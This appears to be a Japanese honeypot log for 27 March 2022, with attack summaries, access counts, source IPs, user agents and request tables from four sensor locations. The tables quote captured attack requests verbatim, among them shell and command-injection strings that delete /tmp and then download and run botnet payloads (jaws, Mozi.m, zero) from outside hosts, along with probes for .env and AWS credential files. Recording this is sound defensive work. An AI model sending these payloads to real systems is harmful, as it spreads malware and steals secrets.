ハニーポット(仮) 観測記録 2022/03/27分です。
特徴
共通
GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
Location:JP
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
.jsへのスキャン行為
/.awsへのスキャン行為
Laravelへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
を確認しました。
Location:US
D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget jswl.jdaili.xyz/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 31.210.20.109/jaws; sh /tmp/jaws
Location:UK
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget jswl.jdaili.xyz/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 209.141.59.94/jaws; sh /tmp/jaws
Location:SG
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ZeroShell Linux distributionの脆弱性(CVE-2009-0545)を狙うアクセス
/.awsへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget jswl.jdaili.xyz/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 31.210.20.109/jaws; sh /tmp/jaws
他
アクセス数推移
JP:総アクセス数:168 (前日比:-111)
US:総アクセス数:62 (前日比:24)
UK:総アクセス数:21 (前日比:-139)
SG:総アクセス数:83 (前日比:27)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 2.57.122.248 | Romania |
107 | 3.26.163.115 | United States |
1 | 23.95.100.141 | United States |
2 | 44.229.42.40 | United States |
1 | 45.143.200.118 | Russia |
1 | 45.155.204.146 | Russia |
1 | 52.188.58.15 | United States |
1 | 52.229.98.178 | United States |
1 | 66.240.205.34 | United States |
16 | 95.214.235.205 | Ukraine |
1 | 103.162.30.101 | Vietnam |
1 | 103.178.236.40 | Bangladesh |
1 | 109.237.103.123 | Russia |
1 | 115.62.179.11 | China |
1 | 116.68.72.248 | India |
1 | 134.122.112.12 | United States |
9 | 135.125.217.54 | France |
6 | 135.125.246.189 | France |
1 | 137.184.238.43 | United States |
2 | 157.245.70.127 | United States |
1 | 159.223.139.250 | United States |
1 | 164.90.135.111 | United States |
1 | 164.92.89.135 | United States |
8 | 185.254.196.217 | Ukraine |
1 | 192.241.214.26 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
8 | - |
1 | Go-http-client/1.1 |
1 | Hello, World |
1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
48 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
9 | Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 |
98 | python-requests/2.27.1 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | Gh0st\xad |
||
1 | MGLNDD_18.179.20.5_80\n |
||
1 | \x03 |
||
1 | \x16\x03\x01 |
||
1 | GET | /.aws/credentials |
HTTP/1.1 |
1 | GET | /.env.bak |
HTTP/1.1 |
49 | GET | /.env |
HTTP/1.1 |
5 | GET | //asdf[.]php |
HTTP/1.1 |
5 | GET | //dashboard/phpinfo.php |
HTTP/1.1 |
1 | GET | //debug/default/view.html |
HTTP/1.1 |
5 | GET | //debug/default/view?panel=config |
HTTP/1.1 |
1 | GET | //debug/default/view |
HTTP/1.1 |
1 | GET | //frontend/web/debug/default/view |
HTTP/1.1 |
5 | GET | //i[.]php |
HTTP/1.1 |
5 | GET | //index[.]php |
HTTP/1.1 |
5 | GET | //info[.]php |
HTTP/1.1 |
5 | GET | //infophp[.]php |
HTTP/1.1 |
5 | GET | //infos[.]php |
HTTP/1.1 |
5 | GET | //linusadmin-phpinfo.php |
HTTP/1.1 |
4 | GET | //old_phpinfo[.]php |
HTTP/1.1 |
5 | GET | //php-info.php |
HTTP/1.1 |
5 | GET | //php[.]php |
HTTP/1.1 |
5 | GET | //php_info[.]php |
HTTP/1.1 |
5 | GET | //phpinfo[.]php |
HTTP/1.1 |
5 | GET | //phpversion[.]php |
HTTP/1.1 |
4 | GET | //pinfo[.]php |
HTTP/1.1 |
1 | GET | //sapi/debug/default/view |
HTTP/1.1 |
5 | GET | //temp[.]php |
HTTP/1.1 |
5 | GET | //test[.]php |
HTTP/1.1 |
5 | GET | //time[.]php |
HTTP/1.1 |
1 | GET | //web/debug/default/view |
HTTP/1.1 |
1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /aws.yml |
HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
1 | GET | /config.js |
HTTP/1.1 |
1 | GET | /config/aws.yml |
HTTP/1.1 |
1 | GET | /info.php |
HTTP/1.1 |
1 | GET | /phpinfo.php |
HTTP/1.1 |
1 | GET | /phpinfo |
HTTP/1.1 |
1 | GET | http[:]//example[.]com/ |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.0 |
1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 20.116.104.137 | United States |
1 | 23.95.100.141 | United States |
1 | 34.68.185.122 | United States |
1 | 34.89.30.123 | United States |
1 | 34.96.130.10 | United States |
24 | 45.43.71.166 | United Kingdom |
1 | 45.143.200.118 | Russia |
1 | 45.155.204.146 | Russia |
1 | 89.248.165.24 | United Kingdom |
1 | 103.162.30.101 | Vietnam |
1 | 112.237.6.132 | China |
1 | 122.117.157.74 | Taiwan |
1 | 142.93.194.204 | United States |
4 | 157.245.70.127 | United States |
1 | 159.223.139.250 | United States |
1 | 162.142.125.212 | United States |
1 | 164.92.89.135 | United States |
1 | 164.92.149.46 | United States |
1 | 167.94.138.45 | United States |
1 | 167.94.146.60 | United States |
1 | 167.248.133.45 | United States |
1 | 172.104.138.223 | United States |
1 | 180.115.106.49 | China |
1 | 180.188.250.252 | India |
8 | 185.254.196.223 | Ukraine |
1 | 187.202.200.169 | Mexico |
1 | 192.210.163.15 | United States |
1 | 192.241.222.158 | United States |
1 | 197.63.173.36 | Egypt |
UserAgent一覧
件数 | UserAgent |
---|---|
16 | - |
3 | Hello, world |
2 | Mozila/5.0 |
1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
24 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
12 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | python-requests/2.27.1 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | MGLNDD_34.68.118.83_80\n |
||
2 | \x03 |
||
1 | \x16\x03\x01 |
||
1 | GET | /.env.development.local |
HTTP/1.1 |
1 | GET | /.env.development |
HTTP/1.1 |
1 | GET | /.env.old |
HTTP/1.1 |
1 | GET | /.env.prod |
HTTP/1.1 |
1 | GET | /.env.production.local |
HTTP/1.1 |
1 | GET | /.env.production |
HTTP/1.1 |
1 | GET | /.env.save |
HTTP/1.1 |
15 | GET | /.env |
HTTP/1.1 |
1 | GET | /?phpinfo=1 |
HTTP/1.1 |
1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
2 | GET | /ab2g |
HTTP/1.1 |
2 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /config.json |
HTTP/1.1 |
1 | GET | /debug/default/view?panel=config |
HTTP/1.1 |
1 | GET | /favicon.ico |
HTTP/1.1 |
1 | GET | /frontend_dev.php/$ |
HTTP/1.1 |
1 | GET | /fuN3 |
HTTP/1.0 |
1 | GET | /info.php |
HTTP/1.1 |
1 | GET | /phpinfo.php |
HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//180[.]188[.]250[.]252:53104/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws |
|
3 | GET | /shell?cd+/tmp;rm+-rf+*;wget+31[.]210[.]20[.]109/jaws;sh+/tmp/jaws |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.0 |
1 | POST | /.env.development.local |
HTTP/1.1 |
1 | POST | /.env.development |
HTTP/1.1 |
1 | POST | /.env.old |
HTTP/1.1 |
1 | POST | /.env.prod |
HTTP/1.1 |
1 | POST | /.env.production.local |
HTTP/1.1 |
1 | POST | /.env.production |
HTTP/1.1 |
1 | POST | /.env.save |
HTTP/1.1 |
1 | POST | /.env |
HTTP/1.1 |
1 | POST | /HNAP1/ |
HTTP/1.0 |
2 | POST | /HNAP1/ |
HTTP/1.1 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
4 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 23.95.100.141 | United States |
2 | 24.169.78.230 | United States |
1 | 45.137.21.208 | Bangladesh |
1 | 45.143.200.118 | Russia |
2 | 45.155.204.146 | Russia |
1 | 52.226.197.29 | United States |
1 | 64.227.131.220 | United States |
1 | 69.162.243.124 | United States |
1 | 89.248.165.24 | United Kingdom |
1 | 103.162.30.101 | Vietnam |
1 | 120.85.119.81 | China |
1 | 137.184.42.144 | United States |
2 | 157.245.70.127 | United States |
1 | 178.72.68.70 | Russia |
1 | 192.53.160.119 | United States |
1 | 192.241.218.16 | United States |
1 | 197.37.34.113 | Egypt |
1 | 209.17.97.10 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
11 | - |
1 | Go-http-client/1.1 |
2 | Hello, world |
1 | Java/1.8.0_321 |
2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | python-requests/2.27.1 |
1 | python-requests/2.9.1 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | MGLNDD_132.145.66.34_80\n |
||
2 | \x03 |
||
1 | \x16\x03\x01\x01\xfc\x01 |
||
1 | \x16\x03\x01 |
||
1 | CONNECT | www[.]dazn[.]com:443 |
HTTP/1.1 |
1 | GET | /.env |
HTTP/1.1 |
1 | GET | /.git/config |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=user&psd=user |
HTTP/1.0 |
1 | GET | /favicon.ico |
HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws |
|
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+209[.]141[.]59[.]94/jaws;sh+/tmp/jaws |
HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
1 | GET | http[:]//example[.]com/ |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.0 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 20.36.33.166 | United States |
1 | 23.95.100.141 | United States |
1 | 34.86.35.4 | United States |
1 | 34.101.113.178 | United States |
1 | 41.37.71.155 | Egypt |
2 | 45.77.239.190 | United States |
1 | 45.83.65.96 | Germany |
1 | 45.155.204.146 | Russia |
7 | 54.255.172.182 | United States |
1 | 66.240.205.34 | United States |
1 | 87.239.255.112 | India |
1 | 89.248.165.24 | United Kingdom |
1 | 103.40.172.173 | Hong Kong |
1 | 103.162.30.101 | Vietnam |
1 | 103.178.236.40 | Bangladesh |
1 | 114.44.72.85 | Taiwan |
1 | 125.43.8.84 | China |
1 | 137.184.238.43 | United States |
3 | 140.206.86.124 | China |
2 | 157.230.216.203 | United States |
1 | 159.65.134.230 | United States |
1 | 159.223.139.250 | United States |
1 | 159.223.227.19 | United States |
7 | 160.116.22.20 | South Africa |
1 | 162.142.125.220 | United States |
1 | 162.142.125.222 | United States |
1 | 164.92.89.135 | United States |
1 | 167.94.138.46 | United States |
1 | 167.248.133.63 | United States |
4 | 185.142.236.40 | Seychelles |
9 | 185.172.110.211 | Australia |
1 | 185.225.68.13 | Hungary |
8 | 185.254.196.223 | Ukraine |
1 | 192.241.226.75 | United States |
5 | 193.169.253.155 | Poland |
2 | 199.34.18.238 | United States |
1 | 202.14.122.231 | India |
1 | 203.115.91.4 | India |
1 | 209.17.96.122 | United States |
2 | 210.13.110.60 | China |
1 | 212.154.7.246 | Turkey |
2 | 212.192.246.155 | Czechia |
UserAgent一覧
件数 | UserAgent |
---|---|
42 | - |
1 | Go-http-client/1.1 |
1 | Hello, world |
6 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 |
7 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0 |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 |
19 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | python-requests/2.27.1 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | Gh0st\xad |
||
1 | MGLNDD_13.67.44.234_80 |
||
1 | \x03 |
||
1 | \x16\x03\x01\x01\xfb\x01 |
||
4 | \x16\x03\x01 |
||
1 | \x16\x03\x03\x01H\x01 |
||
1 | \x16\x03\x03\x01V\x01 |
||
1 | \x16\x03\x03\x01\x99\x01 |
||
2 | \x16\x03\x03\x01\xa5\x01 |
||
1 | GET | /.aws/credentials |
HTTP/1.1 |
1 | GET | /.env.bak |
HTTP/1.1 |
20 | GET | /.env |
HTTP/1.1 |
1 | GET | /.well-known/security.txt |
HTTP/1.1 |
1 | GET | //PMA/scripts/setup.php |
HTTP/1.1 |
1 | GET | //admin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //dbadmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //mysql/scripts/setup.php |
HTTP/1.1 |
1 | GET | //phpMyAdmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //phpmyadmin/scripts/setup.php |
HTTP/1.1 |
1 | GET | //pma/scripts/setup.php |
HTTP/1.1 |
1 | GET | //webdav/wickd.php |
HTTP/1.1 |
2 | GET | /_profiler/phpinfo |
HTTP/1.1 |
1 | GET | /ab2g |
HTTP/1.1 |
1 | GET | /ab2h |
HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
6 | GET | /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5[.]206[.]227[.]228%2Fzero;sh%20zero;%22 |
HTTP/1.0 |
1 | GET | /config/aws.yml |
HTTP/1.1 |
1 | GET | /debug/default/view?panel=config |
HTTP/1.1 |
4 | GET | /favicon.ico |
HTTP/1.1 |
2 | GET | /info.php |
HTTP/1.1 |
1 | GET | /muieblackcat |
HTTP/1.1 |
2 | GET | /phpinfo.php |
HTTP/1.1 |
1 | GET | /phpinfo |
HTTP/1.1 |
1 | GET | /robots.txt |
HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//125[.]43[.]8[.]84:60510/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//202[.]14[.]122[.]231:48376/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws |
|
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+31[.]210[.]20[.]109/jaws;sh+/tmp/jaws |
HTTP/1.1 |
1 | GET | /sitemap.xml |
HTTP/1.1 |
1 | GET | http[:]//dyn[.]epicgifs[.]net/test6956.php |
HTTP/1.1 |
1 | GET | http[:]//example[.]com/ |
HTTP/1.1 |
1 | HEAD | / |
HTTP/1.0 |
1 | HEAD | / |
HTTP/1.1 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
4 | PRI | * |
HTTP/2.0 |